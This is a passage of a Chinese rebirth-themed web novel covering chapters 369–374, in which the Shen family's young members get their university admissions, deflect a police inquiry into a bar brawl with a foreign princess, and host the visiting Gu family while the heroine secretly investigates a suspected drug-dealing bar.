鲸港的夜生活才刚刚开始,车辆在光影霓虹中自由奔驰,舒缓轻快的音符冲淡了上一秒的剑拔弩张。 车内。 傅绥尔对着笔记本输入学号,苏妙目不转睛盯着手机,姜花衫点开邮箱…… 沈眠枝深吸了一口气,轻声倒数,“三、二、一……” 三人同时按下查询。 【录取通过。】 空气静默了一秒。 “啊!!!”傅绥尔率先喊出声,随即看向苏妙。 苏妙捂着嘴,有点想哭,“衫衫。” 姜花衫咧嘴一笑,点开鲸港美术学院的录取信息,“看来,我们没有一个掉队的。” 沈眠枝早在大考前就已经被鲸港财经大学提前录取了。 傅绥尔这才大笑出声,“哈哈哈哈,我要去军政学府了!我竟然真的考上了军政学府。” 她离她的总统梦又近了一步。 苏妙深吸了一口气,努力平复激动的心情。前十六年她一直浑浑噩噩,直到十六岁才找到自己的人生目标,就因为她浪费了太多时间,所以这两年她比任何人都刻苦。 鲸港司法院每年的录取名额万里挑一,命运终于又开始眷顾她了。 姜花衫看着后座欢喜相拥的两人,与沈眠枝对视一笑,这大概就是未来可期最具象的模样吧。 车速飞驰,碾碎路灯浮影,她们终于要走向不一样的未来了。 * “该死的!我要杀了那群贱民!啊啊啊啊!” 白蒂娜看着镜子里近乎毁容的脸,气的整个人都扭曲了,“A国的警察呢?为什么还没有把人抓过来?我要告诉祖母!我要杀了她们!” “行了,别嚎了,还嫌不够丢人吗?” 病床前的男子穿着宋制长衫,银毛狼尾,英俊的脸上噙着刻薄的讥笑,“刚来A国就被人揍成猪头脸,看来你这是水土不服,我劝你赶紧收拾包袱滚蛋,万一哪天跟王叔一样死在A国可就不值了。” “白密!”白蒂娜怒极,举起手里的镜子对着男子砸了过去,“谁让你来的?滚出去!” 白密冷冷睨了她一眼,“少跟我嚷,不然毒哑你。” 白蒂娜一怔,咬牙忍了下去。 在S国,女子也拥有继承权,她与白密自小关系不睦,白密性格鬼畜言出必行,眼下她初来乍到,还没站稳脚跟不宜跟他翻脸。 “叩叩——” 就在思绪转换间,门外响起了短促的敲门声。 “警署司调案。” 这个死人声音…… 白密眼神微眯,双手插兜站起身,“进来吧。” 话落,两道颀长的身影走了进来。 白蒂娜眸光微怔。 沈兰晞身着黑色军官制服,宽肩窄腰一副行走的人形衣架。他生的俊秀,皮相也好,但眼眸流转间全是拒人于千里之外的疏离,这份骨子里的矜贵让这个男人看上去高不可攀。 与他同行的执行军官完全沦为了背景板。 果然是他。 白密扯了扯嘴角,警署厅倒是会搅稀泥,竟然把这尊大佛请来了。 沈兰晞淡淡颔首,一副公事公办的模样,“军政学府代理执行官沈兰晞,应警署厅调动协助调查昨日冬寻街互殴事件。” 白蒂娜皱了皱眉,“你们什么意思?明明是我被打,怎么就变成了互殴?” 沈兰晞,“根据验伤结果,白小姐你只是伤势比其他人稍重一点,但其他人也受到了不同程度的伤害,所以定性互殴合乎情理。” “你!” 明知她身份还敢这么跟她说话,白蒂娜一时摸不准对方什么来头,冷笑了一声转头看向白密,用母语问道:“他谁?” 沈兰晞偏头看向白密。 “……”白密咬着后牙槽,懒懒对着沈兰晞敬了个军礼,“长官。” 他比白蒂娜早两年入学,那个时候年少不知人间疾恶,进了军政学府更是狂的没边,万万没想到竟然遇上了历年来最变态的一届。 军政学府的军阶等级严明,沈兰晞现在军阶比他高,在A国就算他是邻国王子也不得不低头。 白蒂娜见状,脸色难看到了极点,白密可是头恶狼,以前在S国就算被白洌用枪指着头都没怂过。 沈兰晞看了看时间,表情冷漠,“十分钟后我的调度时间就结束了,希望白小姐配合。” “……”白蒂娜突然灵光一闪,“你刚刚说你姓沈?” 沈兰晞神色淡淡。 白蒂娜,“我要求更换调查员。” 沈兰晞点头,“你的确有这个权利,稍后。”说罢,转头出了病房。 就这样? 没等白蒂娜反应,房门再次被人敲响,但这次的声音明显多了几分不耐。 来人不请自入,肆意不羁的丹凤眼漫不经心扫过白蒂娜,嘴巴跟淬了毒似的,“人呢?怎么变猪头了?” “……” 沈清予!? 白蒂娜脸色黑如锅底,这不还是沈家人吗?两年前沈清予随沈老出访,不知道迷了多少S国少女的心。 白密早猜到是这结果,麻木给沈清予敬礼。 “长官好。” 沈清予摆摆手,拖了张椅子坐下,态度懈怠,“有什么自己交代,我懒得问。” “……”白蒂娜只觉如鲠在喉,咬牙,“换人!我要换人!” 沈清予伸了伸懒腰,“下班咯~” 白蒂娜简直要被气疯了,死死攥着床单,“他们A国人一定是故意的!打我就是沈家的人,他们…” 话没说完,门外再次响起叩门声。 沈清予走的时候没有关门,第三位长官十分守礼,温声询问:“请问,现在可以进来吗?” 白密眼皮一跳,待看见男人的脸后垂头扶额。 白蒂娜原本已经在暴怒的边缘,可在触及沈归灵的眼睛后灵魂好似一下被抽离。 “请进。” 因为女王的原因,白家人尤其迷恋瑞凤眼。 沈归灵微微颔首,慢步走进病床。 “白小姐看上去精神不济,是否需要休息一会儿?我可以晚些时间再来。” 好温柔,跟前面两个沈家人完全不一样。 白蒂娜盯着沈归灵的眼睛打量,“不用,你问吧。” 这还是她第一次看见有人的眼睛长的这么好看。 沈归灵从同伴手里拿过笔录,“白小姐,现场有人指控你无视A国法纪,不仅强行勒令保镖搜身还持枪恐吓,请问是否属实?” 白蒂娜微愣,目光从男人的脸移到了他肩上的肩章。 一颗星。 之前两个肩章都没有没有图案,这个男人是谁? 沈归灵看出了她的疑惑,略带歉意,“抱歉,忘记自我介绍了,军政学府一星准尉沈归灵。” 白蒂娜:“……” …… 第369章 护短 夏日艳阳闪着七彩虹光,池边的锦鲤在莲叶下打盹。 主厅时断时续传来低语音。 姜花衫翘首隔着窗花眺望,在院里站了好一会儿才若无其事迈进主院。 “爷爷~~~” 警署长正恭敬回话,冷不丁被打断一点脾气都没有,起身笑着打招呼,“哟,姜小姐。” 两年前傅家被拆台,眼看家族名誉就要保不住时,突然传出二子畏罪自杀的消息。 傅嘉明临死前留下了一封认罪书,承认了卖国、淫乱等所有罪行,人死过销,傅家因此勉强保住了根基,但声誉以败不可挽回,傅嘉盛的仕途也受到了影响,从鲸港总署长贬去了东湾做市长,最终傅家掉下了四大巨头的王座,甚至连乔、顾一派的新贵都不如。 而眼前的蔡署长正是沈谦门生,由沈家一力提拔上来的。 姜花衫并不认识什么蔡署长王署长,不过她现在为人处世比之前圆滑了不少,只瞟了一眼就猜到了当前的情况。 她故作好奇,“这不是警察叔叔吗?怎么来沈园了?嗯?难道我们家有人犯事了?” “姜小姐说笑了。”蔡署长吓得赶紧看了沈庄一眼,见老爷子并未动气才暗暗松了口气。 这姜小姐果然跟传说中的一样,是个谁沾谁倒霉的活祖宗。 沈庄看出了姜花衫是故意捣蛋,笑着轻斥,“没规矩,蔡署长今日来是有公务要办,你老实坐好。” 蔡署长眼皮跳了跳,虚笑着看向沈庄,“老爷子您言重了,昨夜的事关乎S国皇室,周部长那边催的紧连夜下达的调令,原本这事不该我来过问,但我手底下都是些没眼力见的,万一冲撞了您或是各位小姐那可就罪过大了,不得已我这才自己跑一趟。” 沈庄淡笑,“事情我也是刚刚知道,都是半大的孩子,现在正是疯的劲儿,要不是蔡署长今日登门,我还蒙在鼓里。国有国法,家有家规,蔡署长不必拘束,要问什么就问吧,正好,我也听听现在年轻人都喜欢玩什么。” 傅绥尔和沈眠枝相互交换眼神,又不约而同看向姜花衫,姜花衫立马望天。 “……” 蔡署长瞧着沈庄的脸色,正犹豫怎么开口。 沈庄神态从容,“坐。” 男人应声坐下,忽然有了主意,语气一转,“两位小姐,我们接到群众举报,白小姐曾勒令保镖强行搜身,甚至还举枪威胁沈小姐,对您的人身安全造成了极大的威胁,请问是否属实?” 昨晚闹事的酒吧是沈家的地盘,姜花衫断电后立马吩咐经理销毁了当天所有监控记录,现在警方直接跳过白蒂娜的伤情问的肇事缘由,可见天秤已经倾斜。 沈眠枝心领神会,“是。” 沈庄轻抬指尖,语气不咸不淡,“竟然还有这回事?看来鲸港的治安堪忧啊。” 鲸港治安可不就是警署厅负责?这是在点明他的失职。 蔡署长硬着头皮,“两位小姐作为当事人,有没有看见是谁打的白小姐?” 姜花衫低头看指尖的涡。 傅绥尔,“没有。当时突然停电了,黑灯瞎火的,我都被踩了好几脚。” 姜花衫灵光一闪,认真看向蔡署长,“我想到了!她或许是自己打的自己,演苦肉计想陷害我们呢?” “……”蔡署长呵呵笑了两声。 再问下去只能扮智障了,男人赶紧起身,寒暄了几句匆匆告辞,走出庭院时正好看见三道挺拔的身影迎面走来。 这不是沈家的金贵少爷团吗?蔡署长连忙绕过回廊上前打招呼。 虽说他现在的官阶比少爷们高,但只要这些少年们顺利毕业,不出十年便会是A国下一任指导者,这些个金佛可要提前拜好。 “蔡署长?”沈兰晞脚步一顿,隔着廊庑往主厅方向看去。 沈清予原本不想搭理,忽然想到什么,眼里带着几分探究,“周部长的面子就是大,竟劳累蔡署长亲自上门取证?” 闻言,蔡署长便知沈家少爷们误会了,赶紧解释,“酒吧监控失效,白小姐持枪威胁的证据只怕不足,我今日来便是想看看沈家两位小姐是否愿意出庭作证。” “有劳蔡署长了。”沈归灵温声打断,“白小姐的口供我已经交给警署厅了,她对自己昨晚的过失供认不讳,下面的事就要麻烦蔡署长和各位警署厅的师兄了。” 白蒂娜并没有供认不讳,是沈归灵直接把她的沉默认定为了默认并以此结案。 这话说的,真是熨帖人心。 “阿灵少爷客气了。”蔡署长对着沈归灵谦虚点了点头,军政学府最年轻的一星准尉,人家还在学校攒积分,他就已经出港攒军功了,前途不可限量。 * 主厅。 “外公,你别生气啊,我是真的原本打算睡觉的,是苏妙一直打我电话,我实在没办法才偷溜出去了,本来也没什么事,谁知道这么倒霉会遇上白家的神经病。” 沈眠枝主动倒了杯茶递给沈庄,“爷爷,暗堂那边有笔账对不上,我原本是去处理账目的,是……是绥尔说有事找我,我才没回家的。” “……”傅绥尔睇了沈眠枝一眼。 沈庄不接话,一左一右看她们唱戏。 姜花衫从沈眠枝手里接过茶杯,“你说你们,就不能提前跟爷爷老实交待吗?非得警察找上门才说?下次可不许这样了。” 说罢,她将手里的茶递给沈庄,一副和事佬模样,“爷爷,算了算了,她们已经知道错了。” “知道错了,哪知道错了?”沈清予声音慵懒。 …… 第370章 仙葩 姜花衫眼皮跳了跳,一抬眸就看见三个挺拔的身影鱼贯而入,几乎都是先扫了她一眼,才转回沈庄身上。 三人异口同声,“爷爷。” 姜花衫,“……” 沈庄满是惊喜,“今天怎么都有空回来了,快过来坐。” 三人点头,分别占了三处沙发,各自一端。 傅绥尔和沈眠枝不觉坐直了身体,“兰晞哥、阿灵哥,清予哥。” 沈兰晞看向沈庄,“爷爷,昨夜皇室公主被殴,警署厅往军政学府借调了二十名学生协助调查,我们正好在名单中,白蒂娜的笔录已经交给警署厅了,下午没什么事就回来了。” “处理好了?” “是。” 军政学府不比寻常大学,学校实行军事化管理,自从三人进入军政学府后几乎很少回家,有时候碰上寒暑假有任务,一年也见不着几次面。 眼下一家人突然凑齐了,沈庄心情大好,从姜花衫手里接过茶盏,转头吩咐沈执,“让厨房今晚多准备几个菜。” 姜花衫嘴角微翘,人逢喜事精神爽,看来老爷子这是打算不追究了。三人淡淡转眸,显然也已经习惯了老头的偏心眼儿。 沈庄忽然想起什么,“瞧我这记性,今天大考成绩应该都出来了吧?考的怎么样啊?” 傅绥尔终于有了显摆的机会,蹭的一下站起身,抬头挺胸,“外公,我正要跟您说呢,我考上军政学府了,以后我和哥哥们就是校友了。” 军政学府的门槛比鲸港大学还高,傅绥尔前十三年一直走的是不学无术的小太妹风,短短五年竟然蜕变成了鲸港最年轻的知青代表。 在新生代女性政治对擂上,眼下也只有苏家苏韵和余家余笙能与她一较高下。 “哦!”沈庄笑着拍手,“不错不错,倒是阿公小瞧你了。” 傅绥尔咧嘴一笑,指着姜花衫,“还有衫衫,她被鲸港美术学院录取了,专业组第一。” “是吗?”沈庄略有些意外看向姜花衫,这几年她并未系统学习过画画,沈庄一直以为姜花衫只把画画当乐趣,不想竟是人生规划。 姜花衫跟着笑了起来,“我随便报的,没想到就考上了。” 这是实话,其实同时录取的还有鲸港外媒大学,但相比起来外语她还是喜欢画画,时间也自由,所以最后选择了鲸港美术学院。 “美院好,咱们沈家要出大艺术家了。” 原本沈庄是希望姜花衫能去军政学府的,但既然姜花衫已经有了选择,他也只能尊重。 沈归灵适时开口,“今年美院的新生都是去南院报到。” 沈清予皱眉,“南院不是在南湾吗?” 沈兰晞眸光微动,端盏喝茶,若是姜花衫独自一人去了南湾,以她的性子谁还拘得住她? 沈庄摆手,“好办,让老大给院里打声招呼,把南北院对调。” 沈归灵微怔,难得露出错愣的表情。 “爷爷。”姜花衫好笑,“我还没入学呢,您就把学校地址都改了,以后让我怎么跟同学相处?” 沈家人的路都是青云路,除了姜花衫的鲸港美院是大众公立学府,其他人的学校都有贵族门槛,沈庄一上来就是南北学院对调,的确会吓坏美院其他学生。 沈庄有些为难,“可你一个人出门在外,爷爷不放心。” 沈归灵,“爷爷,南湾我熟,爸爸给我的房子也一直空着,衫衫入学的事就交给我安排吧?” “……”姜花衫,“不用了,我住学校就可以了。” 沈庄想了想,难得固执一回,“小花儿,阿灵办事稳妥,这事就听他的,这样爷爷也能放心。” “……好。” 姜花衫抿嘴笑了笑。 自从去年沈龟灵在南湾军舰战役死里逃生一战成名,老爷子对他的滤镜越来越夸张,有时候就连她这个眼睛珠子都要靠边站。 沈兰晞放下茶盏,不置一词。 * 下午,沈庄留三人在茶室叙话,沈娇为了奖励姜花衫和傅绥尔,带着两人出门买买买。 晚饭时间,三人满载而归,回园时路上碰巧遇上了顾家的车。 这个时候往山顶方向去,不用想也知道顾家人的目的地也是沈园。 傅绥尔隔着车窗远远看了一眼,小声道,“昨天顾玉珠也在现场,顾家这个时候来怕不是为了白蒂娜的事?” 酒吧斗殴的事沈娇早有耳闻,沈澈天还没亮就打电话过来告状,花了三千万装修的酒吧开业还没一个月,就因为出了这码子事被勒令整改。 车辆一前一后停在沈园前坪,沈清予已经提前守在园外,见顾家的车停好立马上前开门。 “婆婆。” “清予。”老太太笑着搭上沈清予的胳膊,盯着他细细端看,“瘦了!是不是训练太辛苦了?” 沈清予扯着嘴角笑了笑,“哪瘦了,我现在壮得能打死一头牛。” 车里陆续走下两名娇俏的少女,顾玉珠挽着另外一个女生的胳臂笑着上前打招呼,“清予哥。” 女生略有些羞涩,也跟着顾玉珠喊了声清予哥。 顾老太太拉着女生的手,“这是你祖母金兰家的孙女,就是我之前一直跟你提起的蓝黛妹妹,你还记得吗?” 沈清予睨了一眼,“不记得了。” 女生一愣,有些意料不及,一般人就算出于礼貌都会说记得吧。 顾老太太嘴角抽搐,瞪了沈清予一眼,随即拍了拍蓝黛的手,安慰道:“这小子就是浑,你别理他。” “顾老太太,许久不见,您越来越年轻了。” 沈娇下车,笑着上前与老太太寒暄,目光在顾玉珠和蓝黛身上转了一圈,“这是玉珠吧?越来越漂亮了。” 顾老太太早就注意到了身后有辆沈家的车,见是沈娇,不着痕迹松开了蓝黛的手,笑着应对,“娇丫头,你倒是一点都没变,还跟小时候一样。” 沈娇捂嘴笑嗔,“老咯!孩子都长大了。”说着朝姜花衫和傅绥尔招手,“你们俩在那叽叽喳喳说什么呢?也不过来喊人?” 姜花衫和傅绥尔立马小跑上前,配合着沈娇当乖乖女,“顾奶奶好。” 顾老太太一年前大病过一场,近两个月才回的鲸港,她一眼认出了傅绥尔笑着点了点头,待目光触及姜花衫时,老太太明显一愣。 鲸港这座名利城什么时候出了这么一株仙葩?美人骨风流皮,当年那个尚未雕琢的玉籽长开了竟是这等模样? 难怪沈娇当年要把她藏起来。 …… 第371章 蓝黛 顾老太太这个时候登门一定不是单纯拜访那么简单,沈娇亲自领着老太太入园,沈清予默不作声紧随其后。 蓝黛挽着顾玉珠,偷偷打量不远处的姜花衫,“鲸港真是人杰地灵,我还从未见过这么漂亮的人,她是沈家哪位小姐啊?” 顾玉珠捂着嘴小声说道,“她沈家的养女,姜花衫。” 末了又加了一句,“她可不好相处,以后碰见了记得避着点。” 养女? 这话但凡心思玲珑一点的都能听出两人关系并不亲近,蓝黛眸光微顿,眼梢轻抬。 可沈顾两家不是姻亲吗?怎么两家的姑娘反而如此生分? 顾玉珠看出了她的疑惑,压低了声音,“你初来鲸港有所不知,沈家老爷子有三房子息,清予哥是二房的,她们是三房的,我们顾家也就和清予哥亲近些。” 蓝黛若有所思点了点头,目光羞涩看向沈清予。 顾玉珠见状,狭促蹭了蹭蓝黛的肩膀,“看上了?” 蓝黛双腮微红,忽然想到什么,眉头蓦然蹙起,“可是……你不是说他很花心吗?还说他新鲜期一过就换一个女朋友?” “啊?”顾玉珠抓了抓头,“的确是这么回事?所以黛黛你可要想清楚了再决定。” 蓝黛目光幽幽,轻轻点了点头。 另一边,傅绥尔轻轻拽着姜花衫的胳膊,瓜田野猹再次上身,“我敢打赌,那个叫蓝黛的女生肯定看上清予哥了,顾老太太刚刚那番引荐吗,显然也是存了心思。” 姜花衫没有接话,傅绥尔摸了摸下巴,自言自语,“竟然能说动顾老太太亲自牵线,这女生什么来头?” “西湾首富,蓝家独女。” 傅绥尔一愣,恍然看向姜花衫,“你怎么知道?你认识她?” 姜花衫笑了笑,“不认识。” 上一世她与蓝黛只有过一面之缘。 那是在爷爷葬礼,她被保镖丢出沈园,恰巧倒在一位贵族小姐的脚下,那个贵族小姐就是蓝黛。 虽然只有一面,但也正是基于那一面姜花衫对蓝黛并无好感,因为她始终记得,蓝黛看向她时眼里满是怜悯,感叹说了声好可怜,然后直接从她的腿上跨了过去。 后来,她搬去小沈园便不在太太圈走动,蓝黛因为有顾家老太太撑腰成立贵女里的新宠,后来还与沈清予订了婚。后来沈清予死后,就再没听过蓝黛的消息了。 姜花衫抬眸,往沈清予的方向看去。 她分明记得蓝黛是在爷爷死之后才第一次登门沈园的,为什么这次人物提前出场了? 难道是因为十六岁的节点改变了? 原本沈娇会在傅绥尔十六岁生日只会被人在家中暗杀,但现在她还好好活着,原本傅嘉明会靠着沈娇之死走上人生巅峰,但现在傅嘉明死了。这无一不在告诉她,十六岁那年的转折一定偷偷改变了什么? 现在蓝黛出现,不得不让她的神经再次绷紧,沈清予的死跟蓝黛会不会有关系,当时她所有的精力都在爷爷身上,只知道沈清予是被身边最亲近的人背叛,被仇家暗杀尸沉大海。 最亲近的人? 那个时候他已经离开了顾家,与他最亲的除了顾老太太应该就是他当时的未婚妻了。 难道出卖沈清予的是蓝黛? “衫衫?你怎么了?” 姜花衫想了一路,转进主厅时神思还未抽离,傅绥尔察觉出她不对劲,轻轻拉了拉她的手。 沈庄早收到了顾老太太登门拜访的消息,特意把家宴设在了主厅,菜已上齐,桌上早已备好了宾客的碗筷。 顾老太太笑着上前与沈庄寒暄,说话间的功夫一并引荐了顾玉珠和蓝黛。 顾玉珠就不用说了,自小在顾老太太跟前长大,礼数和教养没得说,难得的是蓝黛表现的也不俗,举止进退有度落落大方,得了沈庄几次夸赞。 宴席上基本都是沈庄与顾老太太在说话,沈娇帮着给老爷子布菜,几个小的各吃各的。 饭后撤了席,老太太笑着往顾家小辈逡巡了一圈,“难怪人家都说鲸港天骄沈家占了一半,老爷子好福气啊。” 都说隔代亲,听见老太太夸赞小辈沈庄也不推辞,“还是他们自己争气。” 蓝黛小心翼翼打量沈家众人,原以为姜花衫和沈清予已经算是沈家个例了,等看见沈兰晞、沈归灵才终于知道为什么她家在西湾富甲一方也只敢说旺族,这沈家的底蕴的确与他们这些豪绅不同,一族三骄,寻常家族想都不敢想。 顾老太太点头应和了几句,终于进入正题,“昨天的事,我都听阿珠说了,我今日来就是想跟你这几个丫头致谢了,要不是有她们,阿珠只怕要吃亏了。” 沈庄转眸看向沈眠枝,沈眠枝笑着回应,“顾奶奶您太客气了,自家姐妹当然要相互照应,同样的情况,换作是顾表姐,她一定也不不会坐视不理的。” 顾玉珠点头,“是啊奶奶,说到底还是那个白蒂娜太过分了。我胸针不见了,就问了赫拉蕾几句她就说我侮辱人,还故意说自己的佛牌掉了,纯属脑子有病。” 蓝黛眸光一闪,轻轻推了推顾玉珠的胳膊,笑着接过话,“昨晚我初到鲸港没想到会遇上这种事,人都吓傻了。但眠枝小姐临危不乱,就连被抢指着头都跟没事人一样,真是叫我开了眼见。” 沈眠枝笑了笑,“哪有这么夸张,其实我当时是吓得不敢动了。” 闻言,三人对视笑了起来,顾老太太睨了蓝黛一眼,含笑道,“这事可不能就随便一句谢谢就敷衍了,正好,北区那边的度假酒店差不多也弄完了,由我这个老太太做东,几个孩子一块去玩玩?” 度假酒店有什么好玩的,沈清予一脸没兴趣,正要拒绝老太太仿佛知道他想说什么,故意拉下脸,“不许说不去,我已经打听过了,你们这次任务提前完成,学校奖励了一周假期。” 沈清予,“……” 姜花衫默默喝了一口水。 沈庄摆摆手,“行了,我们两个老的说说话,你们就不必陪着了,出去玩吧。” 听罢,小辈们纷纷起身退出了主厅。 …… 第372章 坏哥哥?好哥哥? “清予哥!” 刚踏出主厅,顾玉珠就拉着黛西快步追上沈清予,“明天你休假,带我和黛黛去马场转转吧?” 沈清予抬手甩开顾玉珠,“少拉拉扯扯,我明天没空。” 顾玉珠顿时就不乐意了,“你不是昨天才跟冯夏瑶分手吗?怎么就没空了。” 这一声嚎出来,整个回廊的人都看了过来。 沈清予吊儿郎当的脸上怔愣了一秒,下意识往姜花衫的方向看去,刚转头忽然意识到什么,没好气点着顾玉珠的脑门敲了敲,“以后我的事你少打听。” 顾玉珠捂着额头,“这还用打听吗?冯夏瑶昨天在酒吧喝的烂醉如泥,逢人就说你给了她三百万分手费。” 沈清予,“……” 姜花衫目光在沈清予和蓝黛之间转了转,转头往内院走去。傅绥尔原本还想跟着吃瓜,回头见姜花衫都走远了,立马追了上去。沈归灵和沈兰晞神色寻常,仿若没事人一般转身走进阆苑。 “衫衫,等等我。” 沈清予等身后的脚步声渐远,才冷笑出声,“下次再敢不分场合乱说话,别怪我削你。” “我没乱说,是……” “阿珠。”蓝黛赶紧拉住顾玉珠,“冯小姐昨晚喝多了,酒后说的话怎么能当真呢?” 沈清予扯了扯嘴角,扫了蓝黛一眼,“酒后吐真言,她说的没错。” 蓝黛从未被人用如此犀利的眼神进攻过,一时有些错愣。 沈清予懒得再浪费时间,转眸看向沈眠枝,“她们两个就交给了,要是老太太问起来,就说我有厌蠢症,跟她孙女沟通不了一点。” “你!”眼看着沈清予头也不回走进内院,顾玉珠气的话都话不利索了,“明明是他自己花心,怎么还来怪我?黛黛!沈清予脑子有问题,你还是别考虑他了。” 蓝黛皱眉,尴尬看了沈眠枝一眼,又气又急,“你胡说八道什么?!” “……”沈眠枝默默看着地上的影子。 * 沈清予穿过回廊时,目光不自觉往菊园方向看了看,犹豫了许久到底还是没有勇气往前一步,最终默默回了梅园。 顾赫看出了自家少爷心情不好,小心翼翼跟在身后,“少爷,您怎么了?” 沈清予斜睨了他一眼,顾赫会意立马闭嘴,小心跟着沈清予进屋。 “老太太年前是去了西湾养病?” 顾赫连忙点头。 沈清予脱下外套,解开领口,语气随意,“我记得老太太和西湾蓝家交情不错。” 顾赫一时拿不准沈清予想干什么,斟酌着点头,“是。蓝家老太太与我们老太太是几十年情分的手帕巾。” 沈清予沉默了片刻,靠着躺椅假寐,“去查查西湾蓝家的底细。” 顾赫微愣忽然反应过来,立马应下,转身出了房间。 沈清予眼睑动了动,闭目挣扎了片刻终是没忍住懊恼踹向茶几。 当初真是鬼迷了心窍,怎么会给自己挖了这么大一个坑。 沈归灵一句把心思藏好,让他羞愧难当,为了遮掩自己那见不得人的变态心思,他只能强逼自己转移注意力,骑马、射击、极限运动,尽可能的消耗自己,可每当他觉得兴趣已经转移时,一回家就功亏一篑,这让他十分挫败。 迫于无奈,他只能把这种心思归结成为生理冲动,为了打破这种身体欲望的不平衡,他试着正常恋爱,一开始还挺正常,可渐渐对方的要求多了起来变的有些不正常。 沈清予的目的很明确,他是来转移目标的,不是被别人消遣的,所以一旦有女生提出超出边界的要求,他立马就会提出分手,当然,对于帮助过他的女生他从不吝啬,高额的分手费让他获得了鲸港最佳前男友的桂冠。 但现在沈清予只要一想到自己脑干缺失挖的坑,就恨不得把自己埋了。 第373章 杀人凶手 “叩叩——” 姜花衫正躺在软椅上看手机,身后忽然响起敲门声,她不做多想下意识以为是张茹,眼皮都没抬便应了声,“进来吧。” 房门推开,等了一会儿也不见张茹开口,她这才抬头打量。 沈归灵半倚着门框,月光如同皎洁的轻纱落在他半干的发梢上。 姜花衫愣了愣,立马从软椅上爬了起来,“你……你怎么来了?” 沈归灵慢慢站直身体,不置一词走进房间。 “干嘛?”姜花衫顿时警铃大作,身体后缩靠着软枕。 沈归灵走近跟前,低垂着眉眼,温柔的眸底含着滟潋逼人的水光。 “昨晚你也在酒吧?” 姜花衫扭了扭脖子,“没有,无凭无据的别想冤枉我。” 沈归灵抬了抬眉梢,从口袋里拿出一个粉色小熊的黑色头绳。 “无凭无据?” 姜花衫脸色微变,一句话不说直接上手开抢,沈归灵早看穿了她的心思,手臂轻抬绕过了她的手。 他低声说道:“我复原了当晚所有的监控,晚上十点十分你从酒吧后门进去时手腕还带着这只小熊头绳,凌晨十五分,警署厅接到报警有人聚众斗殴,而这个小熊头绳就是在斗殴现场找到的。” “……”姜花衫抬眸,双手一摊,“好吧,我承认,我只趁机打了她一拳。” 沈归灵转身挨着旁边的沙发坐下,肩膀倾斜,偏头看她,“我刚刚已经提醒过你了,我复原了当晚所有的监控。” 姜花衫脸色微变,白了他一眼。 所以说,黑客什么的真是太讨人厌了!简直没有个人隐私可言。 沈归灵见她还不打算坦白,站起身,“既然如此,那就让爷爷……” “诶诶!”姜花衫活像只炸毛的猫,蹭的一下从沙发跳起,一把拽着沈归灵的胳膊把他拖回沙发。 “你等等。” 她二话不说转头跑进书房,轻车熟路从百科全书里取出两页书签。 两年时间,沈归灵已经对她这招免疫了,低头拽回衬衣。 眼看着厚厚一沓书签只剩下薄薄的两页,姜花衫犹豫片刻,才不情不愿撕下一页递给沈归灵,“诺,保密。” 现在她总算知道什么叫虱多不怕痒,这两年沈归灵起码知道了她八十个秘密。 沈归灵看了她一眼,抬手,两人的指尖保持着0.01分的距离。 姜花衫故作不知先松了手,沈归灵笑了笑又坐了回去,低头把玩着粉色小熊。 “你昨晚在找什么?” 语气略带几分不经意,好似他真的不在意。 但不在意又怎么会多此一问呢? “……” 姜花衫眼神变了变,虽然有点慌,但她还是在心里暗暗给自己打气。 没事的,就算沈归灵看了所有监控也未必能猜到她在做什么? “昨晚你趁乱溜进了工作人员的操作间,你翻过冰柜、翻过原料区、甚至还翻了垃圾桶。” 沈归灵一边说一边打量姜花衫的神情,言语间口吻笃定,“四叔这家酒吧开业不到一个月,你去了二十次,你在查他?” “查他什么?你连仓库都调查了,你怀疑酒吧的货有问题?” 姜花衫眼皮跳了跳。 真是一点都不能小瞧这绿茶龟。 十六岁生日之后,她和傅绥尔提心吊胆守着沈娇,唯恐再出现什么意外,直到后来十七岁生日安然度过,两人才终于松了一口气。 可就在几个月前,沈澈花重金投资了一间酒吧,沈家生意五花八门,原本姜花衫也并未在意,可酒吧试营业间突然改名叫潮CLUB,这可把她吓坏了。 上一世傅嘉明也开了一家号称年轻人风向标的酒吧,名字就叫潮CLUB。 她之所以连这种小事都记得,是因为潮CLUB后来因为涉嫌贩毒被查封,当时事情闹的很大,鲸港大半个片区的学生都有参与,后来傅嘉明把责任推卸给了酒吧总经理,自己独善其身。 于是,姜花衫又开始重新复盘。 上一世,沈娇之所以死后身败名裂,一是因为淫荡纵欲,二是跟D品沾了关系,而傅嘉明经营的酒吧恰恰也爆出了贩毒丑闻,这实在太过巧合了。 这一世,傅嘉明已经提前出局了,按道理与他有关的一切剧情都会删减,可是贩毒酒吧还是出现了。 为此,姜花衫思考了很久,得出了两个能解释得通的可能。 一:酒吧只是重名,与上一世的潮CLUB并无关系。 二:傅嘉明并非酒吧的幕后老板,真正的老板其实一直都是沈澈。 介于与剧目之门交手的次数,姜花衫更倾向于后者,因为这个解释更加完美且没有漏洞。 如果这个假设成立,那么沈澈是内奸的可能性就非常高了。 要证明两个酒吧是不是同一个,最有力的证据就是潮CLUB是否贩毒? 于是从酒吧开业她便想方设法收集证据,不是她不想假手于人,实在是剧目的规矩限定的太死,要想剧情不被强行修正凡事都得她亲自出马。 天知道,翻垃圾桶的时候她的心情有多么悲壮。 沈归灵见她不说话,捏了捏眉心,“你十六岁查沈谦、十七岁查沈渊,现在十八岁还没到又开始查沈澈,查完沈澈是不是又要查沈让?你到底在查什么?” 原本以为姜花衫只是对二房防备重,没想到她是对整个沈家都有防备。 姜花衫摆摆手,“这事你别管了,替我保密就行了。” 沈归灵抬眸打量她。 “……”姜花衫未免他看出什么,立马转头看向花窗。 她的肩膀很薄,侧身的空隙锁骨若隐若现。 沈归灵低睨起身,目光轻轻柔柔扫过她细白的脖颈。 “最后一个条件你该不会又换一百个承诺吧?” 姜花衫一愣,有些心虚,“怎么可能!我是这么没有契约精神的人吗?” 沈归灵笑了笑,手掌穿过小熊皮筋,低头看了一眼时间,“早点休息。”说罢,双手插兜转身出了房间。 姜花衫皱了皱眉,那笑是什么意思? 对了! 她的小熊发箍还在那乌龟手里。 姜花衫起身准备追下楼,忽然想到什么立马又坐了回去。 不行,现在的沈龟灵可没两年前,不好招惹。 他现在的心动值很危险。 …… 第374章 不是冤家不聚头 七月明媚,隐约有了盛夏的影子。 宽阔的道路上,四台豪车飞速疾驰。 北区算是鲸港新区,虽比不得市中心繁华,但一眼望去无边无际的绿色湖泊,艳阳下生机盎然的青草地也别有一番自在野趣。 傅绥尔趴在窗边吹风,层峦叠嶂中已能隐约看见宫铃一角。 “听说北区这块地光开荒就花了五千万,看来顾家这些年也没少赚。” 